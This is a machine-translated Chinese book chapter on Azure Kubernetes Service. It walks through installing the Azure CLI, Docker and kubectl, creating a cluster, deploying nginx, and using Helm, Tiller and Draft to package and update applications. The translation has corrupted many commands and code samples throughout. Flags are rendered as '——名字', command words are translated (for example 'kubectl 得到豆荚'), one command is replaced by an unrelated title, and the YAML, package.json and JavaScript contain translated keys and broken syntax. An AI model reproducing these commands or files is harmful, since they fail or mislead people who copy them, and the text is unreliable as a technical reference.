使用 AKS 部署和管理集群。 -* 在 AKS 中维护应用的完整生命周期。 - -所以,让我们继续,首先了解我们真正开始使用 AKS 之前的技术要求是什么。 - -## 技术要求 - -如本章导言所述,本章不同于其他章节,这影响了技术要求。 到目前为止,技术要求很简单:您只需要一堆虚拟机。 - -本章需要一个 DevOps 环境,在这个环境中,开发人员和操作人员是在同一个团队中,密切合作,并且有人同时做开发和操作相关的任务。 - -我们必须做出另一个选择:我们在哪里发展? 本地还是在 Azure 云中? 这两种情况都有可能发生,不会有什么不同! 从成本上来说,在工作站上做可能会更好。 在本章中,我们假设你是在局部做的。 因此,您需要一个工作站(或虚拟机)。 我们需要以下几点: - -* Azure CLI。 -* Docker 和构建工具。 -* Kubernetes。 -* 一些基本的开发工具,如 Git。 -* 一些其他的工具,如 Helm,后来被覆盖。 -* 一个良好的**集成开发环境**(**IDE**)。 我们更喜欢微软**Visual Studio**(**VS**)代码与微软 Docker 和 Kubernetes 扩展(只有当图形界面可用; 否则,使用 Nano 编辑器)。 -* 可选地,可以使用像 Ansible 这样的编排工具。 请看 Ansible**azure_rm_aks**和**8ks_raw**模块。 - -### 使用 WSL 和 VS Code - -您可以使用 Windows 子系统为 Linux**(**WSL)和 VS 代码连同 VS 代码远程 WSL 扩展得到 Linux 开发环境在你的 Windows 桌面或笔记本电脑没有拥有一个虚拟机的开销。 这将使您能够访问您的 Linux 文件从 PowerShell 或 CMD 和您的 Windows 文件从 Bash。 VS Code 是一个源代码编辑器,可以在各种平台上运行,支持多种语言。 您可以使用 wsdl 和 VS Code 在您喜欢的 Windows 平台上开发、运行和调试基于 linux 的应用。 可以使用 PowerShell 和从 Microsoft Store 安装 Linux 来启用 WSL 特性。 VS Code 适用于 Windows 和 Linux,可以从[https://code.visualstudio.com/](https://code.visualstudio.com/)下载。 由于 VS Code 的配置设置是在 Windows 和 Linux 平台上维护的,你可以很容易地在 Windows 和 Linux 之间来回切换。**** - - **你可以找到 WSL 的一步一步的教程在 https://docs.microsoft.com/en-us/learn/modules/get-started-with-windows-subsystem-for-linux/和一个详细的安装指南 https://docs.microsoft.com/en-us/windows/wsl/install-win10。 您可以配置默认 shell,在 Windows 上运行时在 PowerShell 和 WSL 之间进行选择,在 Linux 上可以选择 Zsh 或 Bash。 - -### 安装依赖 - -我们将使用 Ubuntu 18.04 LTS 桌面版。 但是您也可以在 Azure 虚拟机中使用 Ubuntu 18.04 LTS 服务器。 有了你在其他章节中获得的所有知识,很容易将我们将要做的事情转移到其他 Linux 发行版,macOS,甚至 Windows: - -1. First, upgrade Ubuntu: - - Sudo apt 更新&&sudo apt 升级 - -2. Install the developer tools, including some other dependencies and **openssh**: - - git curl openssh-server \ - - ebtablesethtoolsocat - -3. First, we are going to install the Azure CLI. - - 你可以通过运行一个命令来安装 Azure CLI: - - curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - - 或者,您也可以使用下面的说明进行手动安装。 - - 获得所需的软件包: - - curl apt-transport-https lsb-release gnupg - - 获取并安装签名密钥: - - curl -sL https://packages.microsoft.com/keys/microsoft.asc | gpg—dearmor | - - sudo 三通/etc/apt/trusted.gpg.d / microsoft.asc。 gpg > / dev / null - - sudo apt-add-repository \ - - https://packages.microsoft.com/repos/azure-cli - - curl -L https://packages.microsoft.com/keys/microsoft.asc \ - - sudo apt-key add - - - sudo apt 更新 - - 安装 azure-cli - -4. To install PowerShell and VS Code, we are using snaps, universal software packages similar to portable apps for Windows: - - Sudo 快速安装-经典的 powershell - - Sudo 快速安装——经典的 vscode - - 您也可以使用以下命令安装 PowerShell Core: - - Curl https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add - - - Curl https://packages.microsoft.com/config/ubuntu/18.04/prod.list | sudo tee /etc/apt/sources.list.d/microsoft.list - - sudo apt 更新 - - 安装-y powershell - -5. Type **pwsh** to start PowerShell Core: - - admin123@kubes:~$ pwsh - - 如果 PowerShell Core 成功启动,您将得到如下输出: - - ![Using the pwsh command to start PowerShell Core](img/B15455_10_01.jpg) - - ###### 图 10.1:启动 PowerShell Core - -6. Install the Azure cmdlet for Azure: - - 命令:Install-Module PowerShellGet -Force - - sudo pwsh -Command "Install-Module -Name AzureRM. " Netcore \ - - -AllowClobber" - - sudo chown -R $USER ~/.local/ - -7. Install Docker: - - curl -sSL https://get.docker.com/ | sudo sh - - sudo usermod -aG docker $USER - - Docker 版本的详细信息如下: - - ![Getting the Docker version details](img/B15455_10_02.jpg) - - ###### 图 10.2:Docker 版本详情 - -8. Stop Docker for now: - - systemctl stop docker.service - -### kubectl 安装 - -kubectl 是一个命令行界面,可用于管理 Kubernetes 集群。 它可以用于许多操作。 例如,使用**kubectl create**创建一个或多个文件,使用**kubectl delete**从一个文件中删除资源。 我们将使用 Azure CLI 安装**kubectl**,并以 root 用户身份执行以下命令以授予所需权限: - -sudo -我 - -az login - -印脑海 - -首先,您需要使用以下命令下载最新版本: - -curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.16.3/bin/linux/amd64/kubectl - -接下来,让它可执行: - -chmod +x ./kubectl - -现在,移动到您的**PATH**: - -Sudo mv ./kubectl /usr/local/bin/kubectl - -通过询问版本信息来验证安装: - -kubectl 版本 - -启用自动补全功能,这样可以节省大量输入。 对于**kubectl**中的 Bash 和 Zsh,执行以下操作: - -kubectl completion bash > ~/.kube/completion.bash.inc - -printf“ - -Kubectl shell 完井 - -源的$ HOME / .kube / completion.bash.inc - -”> > $ HOME / . bash_profile - -$ HOME / . bash_profile 来源 - -对于 Zsh,执行如下操作: - -sudo -我 - -kubectl 完成 zsh>“$ [1]- _kubectl” - -退出 - -Source - -到目前为止,我们已经在 Linux 上安装了带有**curl**命令的最新版本的 kubectl 二进制文件,并为 kubectl 启用了 shell 自动完成功能。 我们现在可以使用 AKS 了。 - -#### 请注意 - -如果您使用的是 kubectl 得到错误消息类似于**错误从服务器(NotAcceptable):未知(得到节点)**,下调你的客户使用 https://dl.k8s.io/v1.10.6/kubernetes-client-linux-amd64.tar.gz**。** - - **虽然这完全超出了本书的范围,但我们个人喜欢使用 Zsh shell,并对其进行了很好的定制,称为太空船。 提示会让你更深入地了解你在哪里以及你在做什么。 - -以下是快速安装: - -Sudo apt 安装 ZSHNPM 字体电力线 - -ZSH #并创建一个带有选项 0 的.zshrc 文件 - -npm 安装 spaceship-prompt - -chsh -s /bin/zsh - -## 开始使用 AKS - -Azure AKS 使部署和管理容器应用变得很容易。 除了使用 Azure AKS 自动容器您的应用之外,您还可以快速定义、部署和调试 Kubernetes 应用。 您可以自动化监控、升级、修复和扩展,这减少了手动的基础设施维护。 安装了 kubectl 之后,是时候在 Azure 中设置和探索 Kubernetes 环境了: - -1. 创建一个集群。 -2. 查找集群信息。 -3. 部署一个简单的工作负载。 - -### 使用 Azure CLI 创建集群 - -在 Kubernetes 中,我们将使用集群。 集群包含一个主节点或控制平面,它控制着所有内容和一个或多个工作节点。 在 Azure 中,我们不需要关心主服务器,只需要关心节点。 - -为了达到本章的目的,创建一个新的资源组是个好主意: - -az group create——location eastus——name MyKubernetes - -在这个资源组中,我们将部署我们的集群: - -az aks create -resource-group MyKubernetes \ - -——名字 Cluster01 \ - -——节点数 1——generate-ssh-keys - -该命令最多耗时 10 分钟。 一旦你得到你的提示,验证它与以下: - -《复仇游戏》 - -在输出中,你会发现很多信息,比如完全限定域名,集群的名称,等等: - -![Getting the details of the cluster deployed](img/B15455_10_03.jpg) - -###### 图 10.3:部署的集群的详细信息 - -有一个 web 界面叫做 Kubernetes Dashboard,你可以使用它来访问集群。 要使其可用,请执行以下操作: - -az aks browse——name Cluster01——resource-group MyKubernetes - -将您的浏览器指向**http://127.0.0.1:8001**: - -![The Kubernetes Dashboard with the details of the cluster and the resource group](img/B15455_10_04.jpg) - -###### 图 10.4:Kubernetes 仪表板 - -**az**实用程序将门户隧道化到您的本地主机。 按*Ctrl*+*C*退出隧道。 - -为了能够使用**kubectl**实用程序,我们需要将配置合并到本地配置文件中: - -az aks get-credentials—resource-group MyKubernetes \ - -——名字 Cluster01 - -命令回显信息如下: - -![Using the az aks get-credentials command to merge the configuration into the local configuration file](img/B15455_10_05.jpg) - -###### 图 10.5:将配置合并到本地配置文件中 - -多亏了我们奇特的命令提示符,您可以看到我们从本地 Kubernetes 集群切换到了 Azure 中的集群。 要查看可用的集群,请执行以下操作: - -kubectl 配置 get-contexts - -命令回显信息如下: - -![Viewing the available clusters using the kubectl config get-contexts command](img/B15455_10_06.jpg) - -###### 图 10.6:查看可用的集群 - -您可以使用**kubectl 配置 use-context**切换到另一个集群。 - -您还可以使用**kubectl**查找集群的信息: - -kubectl cluster-info - -命令回显信息如下: - -![Getting the detailed information about the cluster using the kubectl cluster-info command](img/B15455_10_07.jpg) - -###### 图 10.7:关于集群的信息 - -我们在这里使用**az aks create**命令创建了一个名为**Cluster01**的 Kubernetes 集群。 现在让我们列出这些节点,它们是 Kubernetes 的工作机器,由一个主节点管理: - -kubectl 得到节点 - -命令回显信息如下: - -![Listing the nodes with the kubectl get nodes command](img/B15455_10_08.jpg) - -###### 图 10.8:列出节点 - -### AKS 首次部署 - -AKS 允许您构建应用并将其部署到托管 Kubernetes 集群中,该集群管理容器化应用的连接性和可用性。 你可以使用简单的**kubectl create**命令在 AKS 中部署 Docker 容器: - -Kubectl createnginx—image=nginx—port=80 - -几秒钟内,就会出现一条消息:**部署。 应用/nginx 创建**。 - -使用以下方法验证部署: - -kubectl 得到部署 - -命令回显信息如下: - -![Using the kubectl get deployment command to verify the deployment](img/B15455_10_09.jpg) - -###### 图 10.9:验证映像部署 - -当我们执行**run**命令时,Docker 容器部署在集群中。 或者,更具体地说,创建了一个包含运行容器的 pod。 pod 是一组具有共享资源(如存储和网络资源)的容器,它还包含如何运行容器的规范。 要查看创建的 pod,执行以下操作: - -kubectl 得到豆荚 - -上述命令的输出返回 pod 名称、pod 状态(运行中、等待中、成功、失败或未知)、重启次数和正常运行时间列表,如下所示: - -![Getting the detials of the pods with the kubectl get pods command](img/B15455_10_10.jpg) - -###### 图 10.10:吊舱的细节 - -豆荚来来去去; 它们是在向上/向下缩放时动态创建的。 使用**explain**命令,您可以找到关于 pod 的各种信息: - -kubectl explain pods/nginx-57867cc648-dkv28 - -删除 pod: - -kubectl delete pod nginx-57867cc648-dkv28 - -再次执行**kubectl 获得豆荚**; 你应该看到一个新的豆荚是可用的。 - -### 创建服务 - -但实际上,你不应该在乎豆荚:服务才是最重要的。 服务是使应用可以被外部世界访问的对象。 在服务的后面,有一个或多个豆荚。 服务跟踪豆荚及其 IP 地址,它是豆荚及其策略的逻辑集合的抽象。 可以使用如下命令列出命名空间中的所有服务: - -kubectl 得到服务 - -命令回显信息如下: - -![Listing all the services in a namespace with the get services command](img/B15455_10_11.jpg) - -###### 图 10.11:列出命名空间中的所有服务 - -只找到一个服务**CLUSTER-IP**。 使用以下命令可以找到更多详细信息: - -kubectl describe 服务 - -![Getting the description of the services within Kubernetes](img/B15455_10_12.jpg) - -###### 图 10.12:获取 Kubernetes 服务的描述 - -让我们去掉第一个部署: - -kubectl 删除删除 nginx - -![Executing the kubectl delete deployment nginx command to delete the first deployment](img/B15455_10_13.jpg) - -###### 图 10.13:删除第一个部署 - -让我们创建一个新的: - -kubectl 运行 nginx -图像=nginx - -![Creating a new image for nginx](img/B15455_10_14.jpg) - -###### 图 10.14:创建一个新的 nginx 映像 - -请注意,我们没有暴露端口。 让我们列出使用**kubectl get pods**的豆荚。 为了使资源可访问,我们添加了负载均衡器**类型的服务:** - - **kubectl expose pod——port=80——target-port=80 \ - -——类型= loadbalance - -输出应该类似如下: - -![Listing the pods and adding a service of the LoadBalancer type](img/B15455_10_15.jpg) - -###### 图 10.15:列出豆荚并添加 LoadBalancer 类型的服务 - -在浏览器中使用**EXTERNAL-IP**地址。 它会显示你的欢迎页面**nginx**。 - -### 多容器豆荚 - -pod 也是 Kubernetes 用来维护容器的抽象层。 有许多用例和真实场景可以让单个 pod 中的多个容器支持微服务容器应用彼此通信,如下图所示。 这个图中的持久存储显示了每个容器如何在 pod 的生命周期内进行读写操作,并且当您删除 pod 时,共享的持久存储数据将丢失: - -![A block diagram depiciting the architecture of multi-container pods](img/B15455_10_16.jpg) - -###### 图 10.16:多集装箱吊舱的结构 - -但也有一些用例是基于一个荚为荚内的容器提供共享资源的事实,例如: - -* 带有日志和监控等辅助应用的容器 -* 反向代理 - -到目前为止,我们使用**-image**参数创建一个简单的 pod。 对于更复杂的 pod,我们需要制定 YAML 格式的规范。 创建一个名为**myweb 的文件。 yaml**包含以下内容: - -apiVersion: v1 - -kind: Pod - -元数据: - -名字:myweb - -规范: - -restartPolicy:永远不要 - -卷: - -  - name: logger - -emptyDir: {} - -容器: - --名字:nginx - -形象:nginx - -volumeMounts: - -    - name: logger - -mountPath: /var/log/nginx - -只读的:假 - -——名称:logmachine - -图片:ubuntu - -volumeMounts: - -    - name: logger - -mountPath: /var/log/nginxmachine - -在这个文件中,创建了一个共享卷,名为**journal**。 **emptydir**指令确保卷是在创建 pod 时创建的。 - -要验证,请执行以下操作: - -kubectl exec myweb -c nginxfindmnt | grep logger - -该命令在**nginx**容器上的**myweb**pod 中使用**findmnt**命令执行。 我们已经创建了容器、豆荚和共享存储。 现在让我们将焦点转移到 Helm,它是 Kubernetes 的包管理器。 - -#### 请注意 - -前面的选项不能作为集群解决方案使用,您可能应该使用**mountOptions**标志以只读方式挂载一个容器的文件系统。 - -## 与 Helm 一起工作 - -Helm([https://helm.sh](https://helm.sh)和[https://github.com/helm](https://github.com/helm))是 Kubernetes 的应用包管理器。 您可以将其与 Linux 的**apt**和**yum**进行比较。 它可以使用图表来帮助管理 Kubernetes,这些图表定义、安装和升级要在 Kubernetes 上部署的应用。 - -在 Helm 的 GitHub 存储库中有许多图表可用,微软是这个项目的最大贡献者之一,它也提供了一个包含示例的存储库。 - -### 安装 Helm - -如果你使用的是 Ubuntu 系统,你有两个选择——你可以使用**snap**包安装 Helm,或者直接从[https://github.com/kubernetes/helm/releases](https://github.com/kubernetes/helm/releases)下载二进制文件。 对每个 Linux 发行版都使用二进制文件,并且**snap**存储库并不总是拥有最新版本的 Helm。 所以,让我们使用[https://github.com/helm/helm/releases](https://github.com/helm/helm/releases)找到 Helm 的最新版本,并修改**Helm -vx.x.x-linux-amd64.taz.gz**中的文件名**x**: - -cd / tmp - -wget https://storage.googleapis.com/kubernetes-helm/\ - -helm-v2.9.1-linux-amd64.tar.gz - -sudo tar xf helm-v2.9.1-linux-amd64.tar.gz——strip=1 -C \ - -  /usr/local/bin linux-amd64/helm - -总是检查网站上的最新版本,并相应地更改命令。 - -macOS 用户可以使用 Brew([https://brew.sh/](https://brew.sh/)): - -酿造安装 kubernetes-helm - -客户端已经安装好,有了这个客户端,我们可以将服务器部分 Tiller 部署到 Kubernetes 集群中: - -执掌 init - -![Using the helm init command to deploy Tiller into the Kubernetes Cluster](img/B15455_10_17.jpg) - -###### 图 10.17:部署 Tiller 到 Kubernetes 集群 - -验证版本: - -执掌版本 - -输出应该类似如下: - -![Verifying the Helm version](img/B15455_10_18.jpg) - -###### 图 10.18:验证 Helm 版本 - -为了允许 Helm 访问 Kubernetes 集群,必须创建一个服务帐户,并具有相应的角色: - -Kubectl 创建服务帐户\ - -——名称空间 kube-system 舵柄 - -如下截图所示,我们使用**kubectl create**命令在**kube-system**命名空间中创建 Tiller 服务帐户: - -![Creating Tiller service account in the kube-system namespace](img/B15455_10_19.jpg) - -###### 图 10.19:在 kube-system 命名空间中创建 Tiller 服务帐户 - -授予集群管理员对 Kubernetes 资源的访问权限,以执行管理任务: - -Kubectl 创建 clusterrolebinding 分蘖-cluster-rule \ - -——clusterrole = cluster-admin \ - -——serviceaccount = kube-system:舵柄 - -如下图所示,您可以根据需要创建自定义角色: - -![Creating a custom role based with the kubectl create clusterrolebinding command](img/B15455_10_20.jpg) - -###### 图 10.20:创建自定义角色 - -Helm 是安装在本地机器上的客户机,Tiller 是安装在 Kubernetes 上的服务器。 要重新配置 heller,也就是说,确保 Tiller 的版本与本地 heller 匹配,请执行: - -Helm init—service-account tiller—upgrade - -### Helm Repository Management - -Helm 存储库是一个 HTTP 服务器,它可以提供 YAML 文件,由打包的图表和**索引组成。 yml**托管在同一个服务器上。 在安装过程中添加了两个存储库: - -* [https://kubernetes-charts.storage.googleapis.com/](https://kubernetes-charts.storage.googleapis.com/) -* http://127.0.0.1:8879/charts - -让我们添加来自微软的存储库: - -Helm repo 添加 azure \ - -https://kubernetescharts.blob.core.windows.net/azure - -![Adding the repository from Microsoft](img/B15455_10_21.jpg) - -###### 图 10.21:添加来自 Microsoft 的存储库 - -检查可用的储存库: - -执掌回购列表 - -输出应该类似如下: - -![Using the helm repo list command to check the available repositories](img/B15455_10_22.jpg) - -###### 图 10.22:检查可用的存储库 - -如果需要更新存储库信息,请执行以下操作: - -执掌回购更新 - -您还可以使用**remove**参数移除存储库。 - -### 安装应用与 Helm - -让我们看看存储库中有什么可用的: - -执掌搜索 wordpress - -命令回显信息如下: - -![The search result for wordpress giving the details about the chat version, app version, description and so on.](img/B15455_10_23.jpg) - -###### 图 10.23:搜索 wordpress 存储库 - -如果您想要关于图表的信息、如何使用它、可用的参数等等,您可以使用**helm inspect**命令。 现在,我们只需要部署它: - -舵安装稳定/ wordpress - -上述命令的安装输出日志包含了访问**WordPress**实例所需的详细信息。 - -使用以下命令验证集群中的 Helm 图表的状态: - -ls 头盔 - -上述命令的输出返回修订名称、更新时间戳、状态、图表及其命名空间,如下所示: - -![Using the helm ls command to Verify the status of the Helm charts](img/B15455_10_24.jpg) - -###### 图 10.24:验证舵轮图的状态 - -回顾安装过程之前的输出: - -舵状态 contrasting-chicken - -这个命令返回部署时间戳、名称空间和状态,除了资源等细节**v1 / PersistentVolumeClaim**,**v1 /服务**,**扩展/部署**,**v1 /秘密**,和【显示】连接数据库服务器的详细信息: - -![Using the helm status command to review the helm status](img/B15455_10_25.jpg) - -###### 图 10.25:查看头盔状态 - -当然,**kubectl**也会显示以下结果: - -![Using kubectl to get the deployment details](img/B15455_10_26.jpg) - -###### 图 10.26:使用 kubectl 获取部署细节 - -下面的屏幕截图显示了**kubectl get service**命令的输出: - -![Output of the kubectl get service command](img/B15455_10_27.jpg) - -###### 图 10.27:kubectl get 服务命令的输出 - -让我们删除我们的部署(名称可以使用**helm ls**找到): - -转舵 - -![Removing the deployment with the helm delete command](img/B15455_10_28.jpg) - -###### 图 10.28:使用 helm delete 命令删除部署 - -要自定义应用,请执行以下操作: - -领导检查稳定/ wordpress - -然后,搜索 WordPress 设置: - -![Searching for the WordPress settings](img/B15455_10_29.jpg) - -###### 图 10.29:搜索 WordPress 设置 - -创建一个 YAML 文件,例如,自定义**。 yaml**,内容如下: - -图片: - -注册中心:docker.io - -存储库:bitnami 这样/ wordpress - -一天:4-ol-7 - -wordpressUsername: linuxstar01 - -wordpressEmail: linuxstar01@example.com - -wordpressFirstName: Kamesh - -wordpressLastName: Ganesan - -Azure 上的 Linux -第二版! - -然后,部署 WordPress 应用: - -Helm 安装稳定/wordpress -f custom.yaml - -您可以使用**kubectl**命令验证结果。 首先,获取 Pod 的名称: - -kubectl get pod - -![Verifying the deployment of the WordPress application with the kubectl get pod command](img/B15455_10_30.jpg) - -###### 图 10.30:验证 WordPress 应用的部署 - -之后,执行以下操作: - -kubectl 描述 pod - -![Usign the kubectl describe pod command to get the description of the pod](img/B15455_10_31.jpg) - -###### 图 10.31:获取 pod 描述 - -例如,在**Events**部分中,您将看到**docker。 4-ol-7**图像被拉出。 - -清理所有: - -执掌删除稳定/ wordpress - -Kubectl 规模 STS—所有—副本=0 - -Kubectl 删除 pod -所有 - -Kubectl 删除 STS——all——cascade=false - -不要担心有状态集(**sts**); 它们是由这个应用创建的,具有有序的部署和共享的持久存储。 - -### 创建舵机图表 - -Helm 图表类似于 Linux 发行版中使用的软件包,您可以使用 Helm 客户端浏览包存储库(图表)目录结构。 有许多图表为您创建,也可以创建自己的图表。 - -首先,创建一个工作目录并准备好使用: - -执掌创建 myhelm - -cd myhelm - -前面的命令应该会给你一个类似的输出: - -![Creating a working directory and making it ready for use by first running cd myhelm and then executing ls -al command](img/B15455_10_32.jpg) - -###### 图 10.32:创建工作目录 - -创建了一些文件和目录: - -* **图表。 yaml**文件:该文件包含图表的基本信息。 -* **值。 yaml**文件:默认配置值。 -* **图表**目录:依赖性图表。 -* **模板**目录:用于为 Kubernetes 创建清单文件 - -此外,您可以添加一个**LICENSE**文件,一个**README。 md**文件,并有文件要求,**要求。 yaml**。 - -让我们修改**Chart。 yaml**a little bit:一点点 - -apiVersion: v1 - -appVersion: 1.15.2 - -描述:我的第一个 Nginx 头盔 - -名称:myhelm - -版本:0.1.0 - -维护人员: - -- name: Kamesh Ganesan - -电子邮件:kameshg@example.com - -url: http://packtpub.com - -该文件或多或少是不言自明的:维护者是可选的。 **appVersion**表示 nginx 的版本。 - -通过以下操作验证配置是否正确: - -执掌线头 - -花些时间研究**模板**目录中的文件和**值。 yaml**文件。 当然,我们以 nginx 为例是有原因的,因为**helm 创建**的文件也以 nginx 为例。 - -首先,执行一个演练: - -Helm 安装-- -- -- -- --调试../我的 Helm - -这样,您就可以看到将用于部署应用的清单。 在那之后,你准备安装它: - -舵安装. . / myhelm - -安装完成后,我们意识到在运行时,有一些问题:nginx 的版本是**nginx: stable**,版本是 1.14.0。 打开**值。 yaml**文件,改变**标签:稳定**到**标签:1.15.2**。 - -使用**helm ls**查找并更新名称: - -头盔升级../我的头盔 - -一个新的豆荚将被创建; 旧的将被删除: - -![Finding the name of the pod and updating it by relacing the new pod with the old pod](img/B15455_10_33.jpg) - -###### 图 10.33:更新 pod 版本 - -甚至有一个**回滚**选项,如果你想回到你的旧版本: - -头盔回滚 - -您只需要指定要恢复到的版本和修订。 - -## 使用草稿 - -作为一名开发人员,您通常会在应用上使用 Helm,这些应用或多或少都可以用于生产,并且应该加以维护。 很有可能你把代码托管在一个版本控制系统上,比如 GitHub。 - -这就是 Draft([https://github.com/Azure/draft](https://github.com/Azure/draft))的作用所在。 它试图在 Kubernetes 集群中从您的代码开始简化这个过程。 - -该工具正在大力开发中。 随着新语言和新特性的不断增加,Draft 变得越来越流行和稳定。 - -如果开发阶段变成了一些看起来可用的东西,您仍然可以使用 Draft,但是更有可能您也会切换到 Helm。 - -要了解 Draft 支持的编程语言,安装完成后可执行以下命令: - -草案包列表 - -可用的包: - -github.com/Azure/draft/clojure - -github.com/Azure/draft/csharp - -github.com/Azure/draft/erlang - -github.com/Azure/draft/go - -github.com/Azure/draft/gradle - -github.com/Azure/draft/java - -github.com/Azure/draft/javascript - -github.com/Azure/draft/php - -github.com/Azure/draft/python - -github.com/Azure/draft/ruby - -github.com/Azure/draft/rust - -github.com/Azure/draft/swift - -### 正在安装草稿 - -为了能够使用草案,头盔必须安装和配置。 - -从[https://github.com/Azure/draft/releases](https://github.com/Azure/draft/releases)获取您的副本: - -cd / tmp - -wget https://azuredraft.blob.core.windows.net/draft/\ - -draft-v0.15.0-linux-amd64.tar.gz - -Sudo tar xf draft-v0.15.0-linux-amd64.tar.gz——strip=1 \ - -  -C /usr/local/bin linux-amd64/draft - -总是检查网站上的最新版本,并相应地更改命令。 - -macOS 用户可以使用 Brew 安装: - -Brew tap azure/draft && Brew install draft - -您可以看到,在 Helm 上工作的开发人员也参与了 Draft 的开发。 在这两种情况下,许多人都是微软的开发人员。 与 Helm 类似,在安装客户端后,您必须初始化 Draft: - -init 草案 - -这将安装一些默认插件,并设置可以在 Draft 中使用的存储库。 - -使用以下方法检查版本: - -草案 - -在撰写本文时,它的版本是 0.16.0: - -![The output showing the Draft version as 0.16.0 ](img/B15455_10_34.jpg) - -###### 图 10.34:检查 Draft 版本 - -最后一步涉及配置 Docker 存储库、Docker Hub 或 Azure。 出于本书的目的,我们使用的是 Azure。 - -创建**Azure 容器注册表**(**ACR**): - -az acr create——resource-group MyKubernetes——name LinuxStarACR——sku Basic - -登录**LinuxStarACR** - -az acr login——命名为 LinuxStarACR - -![Logging in to LinuxStarACR with the az acr login --name LinuxStarACR command](img/B15455_10_35.jpg) - -###### 图 10.35:登录到 LinuxStarACR - -配置存储库: - -草案配置设置注册表 LinuxStarACR - -登录注册表: - -az acr login——命名为 LinuxStarACR - -在 Draft 和 ACR 之间建立信任: - -export AKS_SP_ID=$(azaks show \ - -——resource-group\ - -——名称 - -——查询”servicePrincipalProfile。 clientId“- o tsv) - -export ACR_RESOURCE_ID=$(azacr show \ - -——resource-group\ - -——name——query "id" -o tsv) - -az 角色分配 create——assigned $AKS_SP_ID——scope $ACR_RESOURCE_ID——role contributor - -我们已经成功地安装了 Draft v0.16.0 并创建了 ACR。 最后,我们在 Draft 和 ACR 之间建立了信任。 是时候开始使用 Draft 了。 - -### 使用 Draft - -让我们开发一些简单的 Draft 代码。 为此,我们将创建一个目录并将其命名为**mynode**。 在这个目录下,我们将创建一个名为**mynode.js**的文件,代码如下: - -var http = require('http'); - -var 服务器= http。 功能(req, res) ( - -res.writeHead(200); - -res.end(“Hello World !”); - -}); - -server.listen(8080); - -这是一个简单的 web 服务器,它提供的页面上写着**Hello World!** 。 我们正处于开发过程的早期阶段。 创建一个**包。 json**文件,执行如下命令: - -npminit - -填写信息: - -名称:(mynode) - -版本:0.0.1 (1.0.0) - -描述:我的第一个 Node App - -入口点(mynode.js): - -测试命令:节点 mynode.js - -git 存储库: - -关键词:网络应用 - -author: Kamesh Ganesan - -license: (ISC) - -现在我们准备执行 Draft: - -创建草案 - -![Creating a Dockerfile using the draft create command](img/B15455_10_36.jpg) - -###### 图 10.36:使用 draft create 命令创建 Dockerfile - -这将为 Helm 创建一个 Dockerfile 和所有信息。 - -输出的最后一行,**Ready to sail**,实际上意味着您准备执行: - -起草了 - -执行该命令后,系统显示如下: - -![Building and pushing the Docker image with the draft up command](img/B15455_10_37.jpg) - -###### 图 10.37:构建和推送 Docker 映像 - -这将构建映像并发布应用。 - -执行**helm ls**将显示**mynode**应用: - -![The output displaying the details of mynode application](img/B15455_10_38.jpg) - -###### 图 10.38:获取 mynode 应用的详细信息 - -使用**kubectl get services**显示服务: - -![Displaying the service using kubectl get services command](img/B15455_10_39.jpg) - -###### 图 10.39:使用 kubectl get 服务显示服务 - -一切似乎都 OK 在这里,但**kubectl 得到 pod**告诉我们,不然: - -![Using the kubectl get pod command to check the status of the pod](img/B15455_10_40.jpg) - -###### 图 10.40:检查吊舱状态 - -**draft logs**命令没有显示任何错误。 让我们来看看 Kubernetes 是怎么想的: - -kubectl 日志 - -它说**npm ERR! 缺少脚本:启动**。 我们故意在**包装上犯了一个错误。 json**文件。 更改内容,按照以下示例修改值: - -{ - -"name": "mynode", - -“版本”:“发布”, - -"description": "My first Node App", - -“主要”:“mynode.js”, - -"脚本":{ - -“开始”:“节点 mynode.js”, - -"test": "echo \"错误:没有测试指定\"&退出 1" - -  }, - -“关键词”:[ - -"webapp" - -  ], - -"author": "Kamesh Ganesan", - -ISC”“许可协议”: - -} - -再次执行以下操作来更新应用: - -更新草案 - -连接到应用: - -草案连接 - -![Connecting to the application with the draft connect command](img/B15455_10_41.jpg) - -###### 图 10.41:连接到应用 - -打开另一个终端: - -旋度 localhost: 39053 - -输出必须是**Hello World!** 。 - -在终端按下*Ctrl*+*C*,运行**draft connect**,移除部署: - -草案删除 - -如果需要的话,使用**kubectl 获取所有**并清理集群资源。 - -## 管理 Kubernetes - -我们已经创建了 Kubernetes 集群,并且了解了**kubectl**实用程序,以及一些可用来在 Kubernetes 集群中开发和维护应用的工具。 - -所以,如果你回顾本章序言中我们的三个问题,我们已经回答了第一个问题。 在本节中,我们将回答另外两个问题,并讨论如何更新 Kubernetes 版本。 - -### 更新应用 - -早些时候,我们使用 Helm 和 Draft 来管理我们的应用,这意味着所有艰苦的工作都为我们完成了。 但是您也可以使用**kubectl**来更新工作负载。 - -通常情况下,我们的集群现在是空的,所以让我们再次快速部署我们的**nginx**pod: - -kubectl 运行 nginx -图像=nginx - -好好看看部署: - -![The output showing that deployment of the nginx pod was successful](img/B15455_10_42.jpg) - -###### 图 10.42:部署 nginx pod - -这实际上告诉我们,我们需要一个实例,有一个正在运行,它是最新的(为了匹配所需的容量而更新的实例的数量),而且它是可用的。 运行的 nginx 版本不是最新的,所以我们想把它更新到 1.17.5 版本。 执行以下: - -kubectl 编辑部署/ nginx - -nginx:1.17.5: - -![Changing the image to nginx:1.17.5](img/B15455_10_43.jpg) - -###### 图 10.43:将图像更改为 nginx:1.17.5 - -可以使用**kubectl rollout**命令管理资源部署。 一些有效的 rollout 选项包括状态、历史记录、暂停、重启、恢复和撤销。 **kubectl rollout status**显示当前的 rollout 状态,**kubectl rollout history**显示以前的版本和配置。 - -发布状态部署 nginx - -Kubectl 推出历史部署 nginx - -或者,甚至更好的是,您可以使用**describe**命令,它提供的输出比前面两个命令的组合更详细: - -kubectl 描述部署 nginx - -![Getting more detailed output for the nginx deployment with the kubectl describe deployment command](img/B15455_10_44.jpg) - -###### 图 10.44:nginx 部署的详细信息 - -另一种更新部署的方法是使用**set image**命令将更新的 nginx 容器添加到新版本 1.17.5 中,如下所示: - -Kubectl 设置镜像部署/nginxnginx=nginx:1.17.5—record - -从前面的截图中可以看到,nginx 容器镜像已经成功升级到 1.17.5 版本。 - -### 伸缩应用 - -目前,只有一个 pod 正在运行,但是要处理所有传入的负载,您可能需要更多实例并对传入的流量进行负载平衡。 为此,您需要使用副本来定义在任何给定时间运行的特定数量的 pod 副本。 - -让我们回到**kubectl**,得到当前的部署: - -![Getting the status of the current deployment](img/B15455_10_45.jpg) - -###### 图 10.45:获取当前部署的状态 - -此时期望的(配置的)状态是**1**。 目前的情况是**1**,还有**1**可用。 - 